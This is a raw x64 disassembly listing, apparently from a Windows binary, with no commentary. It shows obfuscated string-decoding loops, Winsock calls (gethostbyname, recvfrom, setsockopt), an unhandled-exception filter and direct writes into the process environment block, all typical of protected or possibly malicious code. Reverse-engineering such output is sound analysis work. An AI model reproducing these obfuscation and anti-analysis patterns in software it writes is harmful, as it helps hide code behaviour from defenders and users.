movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x5e
add r10b, cl
mov byte [rbp + rdi + 0x20c0], r10b
inc r8
dec rdi
inc rdi
jmp 0x140190672
movabs rcx, 0xa0811af776a36cde
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x12
inc r8
dec rdi
inc rdi
jmp 0x140190672
movabs rcx, 0x7abd149f1e7cf8e6
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4a
movabs rdx, 0xdf59a68f09f1642e
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x42
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0x20c0], cl
add r9, r8
jmp 0x140191280
movabs rdx, 0x54f90e46c65684ee
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140190672
mov r10, rbx
movabs rcx, 0x42170b1a9a434af2
add rcx, rdi
and bl, cl
mov eax, gethostbyaddr
sub al, bl
lea r11d, [rax + rax]
add r11b, r10b
add r11b, cl
movabs rdx, 0xf23ba9bb36049e2a
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x26
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x20c0], al
inc r8
add rax, r8
sub rdi, rax
movabs rcx, 0xfbacab514c0e3b28
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x18
add r10b, cl
mov byte [rbp + rdi + 0x20c0], r10b
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0x20c0]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140190672
movabs rdx, 0x1c5304c2421cd6fa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x20c0]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140190672
lea rdx, [rbp + 0x1759b68]
jmp 0x1401913e6
lea rdx, [rbp + 0xbf3866]
jmp 0x1401913e6
lea rdx, [rbp + 0x20c0]
lea rcx, [rbp + 0x1b10]
call fcn.14013e790
nop
lea r8, [rbp + 0x1f8]
lea rdx, [rbp + 0x1b10]
mov rcx, rsi
call fcn.1401a5f10
nop
lea rcx, [rbp + 0x1b10]
call fcn.14013e780
lea rcx, [rbp + 0x200]
call fcn.14015a930
mov rbx, rax
lea rdx, [rbp + 0x770]
lea rcx, [rbp + 0x780]
call fcn.14015d390
mov r9, rbx
mov r8, rax
lea rdx, [rbp + 0x790]
lea rcx, [rbp + 0x760]
call fcn.1401e8d40
nop
lea r8, [rbp - 0x3b]
lea rdx, [rbp + 0x7a0]
mov rcx, rax
call fcn.1401a6150
mov rbx, rax
mov r9, r14
lea r8, [rbp - 0x3d]
lea rdx, [rbp + 0x1ab0]
lea rcx, [rbp + 0xa50]
call fcn.14015d450
mov r8, rax
lea rdx, [rbp + 0x7b0]
mov rcx, rbx
call fcn.1401a64b0
nop
mov rcx, rax
call fcn.14015c4b0
nop
lea rcx, [rbp + 0x7b0]
call fcn.140157830
nop
lea rcx, [rbp + 0x7a0]
call fcn.140157830
nop
lea rcx, [rbp + 0x790]
call fcn.140157830
nop
lea rcx, [rbp + 0x200]
call fcn.14015a940
cmp byte [rbp - 0x3d], 0
je 0x1401922bb
mov byte [rbp + 0xc3c], 0x8d
mov byte [rbp + 0xc3d], 0x7b
mov byte [rbp + 0xc3e], 0x7a
mov byte [rbp + 0xc3f], WSACleanup
mov byte [rbp + 0xc40], 0x7c
mov byte [rbp + 0xc41], 0xc1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc42], xmm0
mov dword [rbp + 0xc52], eax
mov byte [rbp + 0xc56], al
movabs rsi, 0xc7995fb039e6d7c7
movzx r11d, byte [rbp + 0x5d00]
movabs r13, 0x4417824b32dec2f5
nop dword [rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor ebx, ebx
cmp rbx, 0x1b
jae 0x1401922a6
movzx r10d, byte [rbp + rbx + 0xc3c]
mov rdx, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x140192291
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1401915ac
movabs rcx, 0xeadc8c4cb9478f61
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
add r11b, 0x59
jmp 0x1401915e0
je 0x1401921f3
lea rax, [r9 + 3]
cmp r8, rax
je 0x140192163
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401920f5
lea rax, [r9 + 2]
cmp r8, rax
je 0x140192098
nop dword [rax]
cmp r9, rbx
ja 0x140192279
lea rax, [r9 + 9]
cmp r8, rax
jae 0x140191612
lea rdx, [rbx + r13]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x4d
add r11b, dl
jmp 0x140191660
lea rax, [r9 + 1]
cmp r8, rax
je 0x140192074
inc rax
cmp r8, rax
je 0x14019203f
lea rax, [r9 + 5]
cmp r8, rax
je 0x14019201a
lea rax, [r9 + 4]
cmp r8, rax
je 0x140191ff2
lea rax, [r9 + 3]
cmp r8, rax
je 0x140191fca
lea rax, [r9 + 2]
cmp r8, rax
je 0x140191fae
nop
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140191c2e
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x140191c08
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140191bd2
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140191b9f
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140191b79
lea rax, [r9 + 6]
cmp r8, rax
je 0x140191b50
lea rcx, [r9 + 8]
cmp r8, rcx
je 0x140191b27
lea rax, [r9 + 2]
cmp r8, rax
je 0x140191b02
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140191670
mov r8, rcx
lea r9, [rcx + 0x200]
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x140192254
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0x61
je 0x140191f7e
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x140191d89
movabs rdx, 0xf68d6e48260d2a1d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x35
jmp 0x140191a32
movabs rcx, 0x988d0dc3313891be
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x32
jmp 0x140192211
movabs rdx, 0xc2d3f529bea972fc
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1401921b7
movabs rdx, 0x41a8ab5d66fc16b6
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14019213f
movabs rdx, 0x6bef92c3f46cf7f4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x2a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140192115
movabs rcx, 0x96367a2a81ddd932
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5e
dec rbx
inc rbx
movzx r12d, byte [rbp + 0x5d10]
jmp 0x140191552
movabs rcx, 0xc07d61910f4eba70
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x10
inc r9
dec rbx
inc rbx
movzx r12d, byte [rbp + 0x5d10]
jmp 0x140191552
movabs rdx, 0xeac448f79cbf9bae
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1401920b8
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x140191c60
movabs rdx, 0xeadc8c4cb9478f61
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x59
jmp 0x140191abf
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140191c92
movabs rcx, 0x882f049665bd85ea
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x66
jmp 0x140192211
inc rax
cmp r8, rax
jne 0x140191cc6
movabs rdx, 0x33a135c94adbc36e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 2
add r11b, dl
jmp 0x140192184
lea rax, [r9 + 3]
mov byte [rbp + 0x5d10], r12b
cmp r8, rax
jne 0x140191d03
movabs rdx, 0xdf1366fc2ffa00f2
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14019213f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140191d43
movabs rcx, 0x8a85982f15183e76
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3a
dec rbx
inc rbx
movzx r12d, byte [rbp + 0x5d10]
jmp 0x140191552
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140191ac2
movabs rdx, 0x603eb0c887a75d38
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
mov byte [rbp + 0x5d10], r12b
inc r9
dec rbx
inc rbx
jmp 0x140191552
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140191dbb
movabs rdx, 0x3f5217c4b7a15e2a
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, byte [rbp + rbx + 0xc3c]
sub r11b, 0x26
add r11b, dl
jmp 0x140192184
lea rcx, [rbx + rsi]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x71
jmp 0x140192211
movabs rdx, 0xf1e04716c757b905
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x23
add r11b, dl
jmp 0x1401921b7
movabs rdx, 0x1c272e7d54c89a43
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x2b
add r11b, dl
jmp 0x140192184
movabs rcx, 0x466e15e3e2397b81
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x79
jmp 0x140192142
movabs rcx, 0xef89b37e17fd0079
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4f
inc r9
dec rbx
inc rbx
movzx r12d, byte [rbp + 0x5d10]
jmp 0x140191552
movabs rdx, 0x19d09ae4a56de1b7
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
dec r11b
jmp 0x1401920b8
movabs rdx, 0x6e5e69b1c04fa433
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x65
add r11b, dl
movabs rcx, 0x7ebc72de8bcab007
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x31
add cl, r10b
mov byte [rbp + rbx + 0xc3c], cl
inc r9
dec rbx
inc rbx
movzx r12d, byte [rbp + 0x5d10]
jmp 0x140191552
movabs rdx, 0xed331fe568a247ed
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7b
add r11b, dl
movabs rcx, 0x54758b77fe59cec9
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x7f
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0xc3c], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
movzx r12d, byte [rbp + 0x5d10]
jmp 0x140191552
mov r10, rdx
movabs rcx, 0x6c07d61910f4eba7
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x6f
movabs rdx, 0x2a2ea41170e8ed8b
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x33
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xc3c], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x150b305e2a307cec
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x74
add r10b, cl
mov byte [rbp + rbx + 0xc3c], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
jmp 0x140192211
movabs rcx, 0xc095a4e62bd6ae23
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0xb
movzx eax, byte [rbp + rbx + 0xc3c]
add rax, r9
add rbx, rax
inc rbx
movzx r12d, byte [rbp + 0x5d10]
jmp 0x140191552
lea rdx, [rbp + 0x1546168]
lea rcx, [rbp + 0x1b30]
call fcn.14013a940
jmp 0x140192325
lea rdx, [rbp + 0x9bf0c9]
lea rcx, [rbp + 0x1b30]
call fcn.14013a940
jmp 0x140192325
lea rdx, [rbp + 0xc3c]
lea rcx, [rbp + 0x1b30]
call fcn.14013a940
jmp 0x140192325
lea rcx, [rbp - 0x3a]
call fcn.140135ff0
mov rdi, rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x1ab0]
call fcn.14014cf70
mov rbx, qword [rax]
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1ab0]
call fcn.14014cf90
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x1b50]
call fcn.14014d2c0
lea rdx, [rbp + 0x1b50]
lea rcx, [rbp + 0x1b30]
call fcn.140135e80
lea rcx, [rbp + 0x1b50]
call fcn.140135dd0
nop
lea rcx, [rbp + 0x770]
call fcn.140157830
nop
lea rcx, [rbp + 0x760]
call fcn.140157830
nop
lea rcx, [rbp + 0x1ad0]
call fcn.14013e780
nop
lea rcx, [rbp + 0x1ab0]
call fcn.14013e780
nop
mov rcx, r14
call fcn.140135dd0
nop
lea rdx, [rbp + 0x1b30]
lea rcx, [rbp + 0x1b70]
call fcn.140135eb0
mov rdx, rax
lea rcx, [rbp + 0xa68]
call fcn.140138930
nop
lea rcx, [rbp + 0xa68]
call fcn.1401353f0
mov rsi, rax
lea rcx, [rbp + 0xa68]
call fcn.140135ba0
test rsi, rsi
je 0x140196353
cmp rax, 0x3e8
jb 0x140196353
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x1b90]
call fcn.140135eb0
mov r14, rax
mov qword [rbp - 0x10], rax
lea rcx, [0x1401647d0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.14013b030
mov qword [0x1404e9e78], rax
test rax, rax
je 0x140193520
cmp rax, 0xffffffffffffffff
je 0x140193520
xor edi, edi
mov dword [rbp + 0x3c], edi
call fcn.14014ced0
mov edx, 0x1836
lea ecx, [rdx - 1]
movzx r8d, byte [rbp + 0x360]
test r8b, r8b
je 0x140192420
test al, al
cmove edx, ecx
mov dword [rbp + 0x2614], edi
movzx eax, al
xor eax, 1
add eax, 0x1836
mov dword [rbp + 0x261c], eax
mov dword [rbp + 0x2618], edx
movzx eax, byte [rbp - 0x55]
xor eax, 1
add eax, ecx
mov dword [rbp + 0x2610], eax
test r8b, r8b
je 0x140192468
cmp byte [rbp + 0x5d08], dil
mov dword [rbp + 0x2620], ecx
jne 0x140192472
mov dword [rbp + 0x2620], 0x1836
test r8b, r8b
je 0x14019248b
cmp byte [rbp - 0x56], dil
mov dword [rbp + 0x2624], ecx
jne 0x140192495
mov dword [rbp + 0x2624], 0x1836
test r8b, r8b
je 0x1401924b1
cmp byte [rbp + 0x5d18], dil
mov dword [rbp + 0x2628], ecx
jne 0x1401924bb
mov dword [rbp + 0x2628], 0x1836
test r8b, r8b
je 0x1401924d4
cmp byte [rbp - 0x20], dil
mov dword [rbp + 0x262c], ecx
jne 0x1401924de
mov dword [rbp + 0x262c], 0x1836
test r8b, r8b
je 0x1401924f7
cmp byte [rbp - 0x1f], dil
mov dword [rbp + 0x2630], ecx
jne 0x140192501
mov dword [rbp + 0x2630], 0x1836
test r8b, r8b
je 0x14019251a
cmp byte [rbp - 0x1e], dil
mov dword [rbp + 0x2634], ecx
jne 0x140192524
mov dword [rbp + 0x2634], 0x1836
test r8b, r8b
je 0x14019253d
cmp byte [rbp - 0x1d], dil
mov dword [rbp + 0x2638], ecx
jne 0x140192547
mov dword [rbp + 0x2638], 0x1836
test r8b, r8b
je 0x140192560
cmp byte [rbp - 0x76], dil
mov dword [rbp + 0x263c], ecx
jne 0x14019256a
mov dword [rbp + 0x263c], 0x1836
test r8b, r8b
je 0x140192583
cmp byte [rbp - 0x75], dil
mov dword [rbp + 0x2640], ecx
jne 0x14019258d
mov dword [rbp + 0x2640], 0x1836
mov dword [rbp + 0x265c], edi
test r8b, r8b
je 0x1401925b7
cmp byte [rbp + 0x36a], dil
je 0x1401925b7
neg r15b
sbb eax, eax
add eax, 2
mov dword [rbp + 0x265c], eax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2644], xmm0
mov dword [rbp + 0x2654], eax
mov dword [rbp + 0x2658], edi
lea rcx, [rbp + 0x2610]
call fcn.1401594c0
mov rdi, rax
mov rcx, qword gs:[0x30]
mov rbx, qword [rcx + 0x60]
movabs rcx, 0x422385454523
call fcn.1401594c0
mov qword [rbx + 0x48], rax
lea r9, [rbp + 0x3c]
mov r8, rdi
mov rdx, rsi
mov rcx, qword [0x1404e9e78]
call fcn.140140f00
test rax, rax
je 0x140192651
cmp dword [rbp + 0x3c], 0
jl 0x140192651
mov rcx, qword [0x1404e9e78]
call fcn.14013b420
nop
mov rcx, r14
call fcn.140135dd0
xor edi, edi
mov r15d, edi
movzx esi, byte [rbp + 0x362]
mov byte [rbp - 0x56], sil
jmp 0x14019424a
mov rcx, qword [0x1404e9e78]
call fcn.14013b420
mov esi, dword [rbp + 0x3c]
mov byte [rbp + 0xc57], 0x93
mov byte [rbp + 0xc58], 0x84
mov byte [rbp + 0xc59], 0xfa
mov byte [rbp + 0xc5a], 0x84
mov byte [rbp + 0xc5b], 0x82
mov byte [rbp + 0xc5c], 0x80
mov byte [rbp + 0xc5d], 0xb6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc5e], xmm0
mov dword [rbp + 0xc6e], eax
movabs r15, 0x6d95a8abd6997218
movabs r12, 0x5b70e289c96560e8
movabs r13, 0xb28733ff84323178
movzx r11d, byte [rbp + 0x5d00]
nop dword [rax]
mov r9, qword [0x1404e9d00]
mov r8, qword [0x1404e9cf8]
nop
xor ebx, ebx
movabs rcx, 0xd474d745229997b8
cmp rbx, 0x1b
jae 0x1401933eb
movzx r10d, byte [rbp + rbx + 0xc57]
mov rdi, r10
cmp r9, rbx
ja 0x1401933df
lea rax, [r8 + 1]
cmp r9, rax
jae 0x140192734
add rcx, rbx
mov rax, r10
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, r10
add r11, rcx
sub r11b, 8
jmp 0x140192770
je 0x140193355
lea rax, [r8 + 3]
cmp r9, rax
je 0x1401932b2
lea rax, [r8 + 5]
cmp r9, rax
je 0x140193277
lea rax, [r8 + 2]
cmp r9, rax
je 0x14019324d
lea rax, [r8 + 4]
cmp r9, rax
je 0x1401931f4
nop
cmp r8, rbx
ja 0x1401933d3
movabs rdx, 0xc4abfa21916642a8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rcx, 0x7b029cd0ebcc0b08
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x38
add r10b, cl
mov byte [rbp + rbx + 0xc57], r10b
inc r8
dec rbx
inc rbx
jmp 0x1401926e2
movabs rcx, 0x72d89d0d06ffe3c8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
dec rbx
inc rbx
jmp 0x1401926e2
movabs rcx, 0x21053ff87c9984e8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
add r9, r8
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1401926e2
mov r10, rdi
movabs rdx, 0xcf31e2e3f2332608
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x38
add r11b, dl
movabs rdx, 0xccd5f9e5763269e8
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x58
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xc57], al
inc r8
add rax, r8
sub rbx, rax
movabs rcx, 0xa14ad12a98cc01a0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x60
add cl, r10b
mov byte [rbp + rbx + 0xc57], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xc57]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1401926e2
movabs rcx, 0x7d5e85cf67ccc728
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x18
movzx eax, byte [rbp + rbx + 0xc57]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1401926e2
lea rbx, [rbp + 0x4b93af]
jmp 0x1401933f2
lea rbx, [rbp + 0xc57]
lea rdx, str._s_X
lea rcx, [rbp + 0x1bb0]
call fcn.14013a940
mov r9d, esi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1bd0]
call fcn.140155d40
nop
mov rcx, rax
call fcn.140135dc0
mov rbx, rax
lea rdx, [rbp + 0xb10]
lea rcx, [rbp - 0x39]
call fcn.1401647f0
xor edi, edi
cmp byte [rbp + 0xb29], dil
je 0x140193482
mov r8d, edi
lea r9, [rbp + 0xb10]
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140193450
lea rdx, [rbp + 0xb10]
lea rcx, [rbp + 0x1bf0]
call fcn.14013a940
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1c10]
call fcn.140155d40
nop
mov rcx, rax
call fcn.140135dc0
mov rdx, rax
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], di
mov r9d, 0x1010
lea r8, [0x140443e2f]
xor ecx, ecx
call fcn.140145110
nop
lea rcx, [rbp + 0x1c10]
call fcn.140135dd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb10], xmm0
mov qword [rbp + 0xb20], rax
mov word [rbp + 0xb28], ax
lea rcx, [rbp + 0x1bd0]
call fcn.140135dd0
nop
mov rcx, r14
call fcn.140135dd0
movzx esi, byte [rbp + 0x362]
mov byte [rbp - 0x56], sil
jmp 0x140194244
mov byte [rbp + 0x7c0], 0x4b
mov byte [rbp + 0x7c1], 0x22
mov byte [rbp + 0x7c2], 0x3c
mov byte [rbp + 0x7c3], 0x3a
mov byte [rbp + 0x7c4], reloc.WS2_32.dll_getservbyport
mov byte [rbp + 0x7c5], 0x3a
mov byte [rbp + 0x7c6], 0x60
xor eax, eax
mov qword [rbp + 0x7c7], rax
mov byte [rbp + 0x7cf], al
movabs rsi, 0x6bb9574d2abed057
movabs r15, 0xc09da716b87d4771
movabs r12, 0xcceeb4dd2246dc45
movabs r14, 0x9599b9562c05ca5b
movabs r13, 0x93231cfb4a10ac97
movzx r10d, byte [rbp + 0x5d00]
nop word [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor edi, edi
cmp rdi, 0x10
jae 0x140194152
movzx r11d, byte [rbp + rdi + 0x7c0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rdi
ja 0x140194146
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140193603
lea rcx, [rdi + r15]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x17
jmp 0x14019363c
je 0x1401940d4
inc rax
cmp r8, rax
je 0x14019409d
lea rax, [r9 + 3]
cmp r8, rax
je 0x140194072
lea rax, [r9 + 5]
cmp r8, rax
je 0x140194044
lea rax, [r9 + 7]
cmp r8, rax
je 0x140193ff0
nop dword [rax]
cmp r9, rdi
ja 0x14019412d
lea rax, [r9 + 6]
cmp r8, rax
jae 0x140193675
lea rdx, [rdi + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x1d
add r10b, dl
jmp 0x1401936a8
lea rax, [r9 + 1]
cmp r8, rax
je 0x140193fbb
inc rax
cmp r8, rax
je 0x140193f84
lea rax, [r9 + 5]
cmp r8, rax
je 0x140193f4f
lea rax, [r9 + 6]
cmp r8, rax
je 0x140193f0d
movzx edx, byte [rbp + 0x5d10]
mov byte [rbp + 0x5d10], dl
nop word [rax + rax]
movzx ebx, dl
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1401939e6
lea rax, [r9 + 9]
cmp r8, rax
je 0x1401939bd
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14019398f
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14019396b
lea rax, [r9 + 6]
cmp r8, rax
je 0x140193942
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14019391e
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1401936d0
mov r8, rax
lea r9, [rax + 0x40]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140194108
movabs rcx, 0x4c5cef015cae9abc
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
jmp 0x140193ebf
movabs rdx, 0x49e652a67ab97cf8
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 0x1c
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1401940bb
movabs rcx, 0x476fb64b98c45f34
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
jmp 0x140193e31
movabs rcx, 0x44f919f0b6cf4170
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x10
inc r9
dec rdi
inc rdi
jmp 0x1401935b2
movabs rdx, 0xc3bdcbc345d4b28e
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14019400f
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x140193a0e
lea rcx, [rdi + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x17
jmp 0x140193b09
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140193a55
movabs rdx, 0x99dd69ba448db88a
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 0x1d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rdi + 0x7c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401935b2
inc rax
cmp r8, rax
jne 0x140193a86
movabs rdx, 0x9c5406152682d64e
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x22
jmp 0x140193e8c
mov byte [rbp + 0x5d10], dl
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140193ac8
movabs rdx, 0x2005f09d797282f4
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 0x2a
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
mov byte [rbp + 0x5d10], bl
jmp 0x140193e31
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140193b03
movabs rcx, 0x227c8cf85b67a0b8
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 8
inc r9
dec rdi
inc rdi
jmp 0x1401935b2
mov byte [rbp + 0x5d10], dl
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x140193e63
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x140193b54
movabs rcx, 0xa98851ab624d59
add rcx, rdi
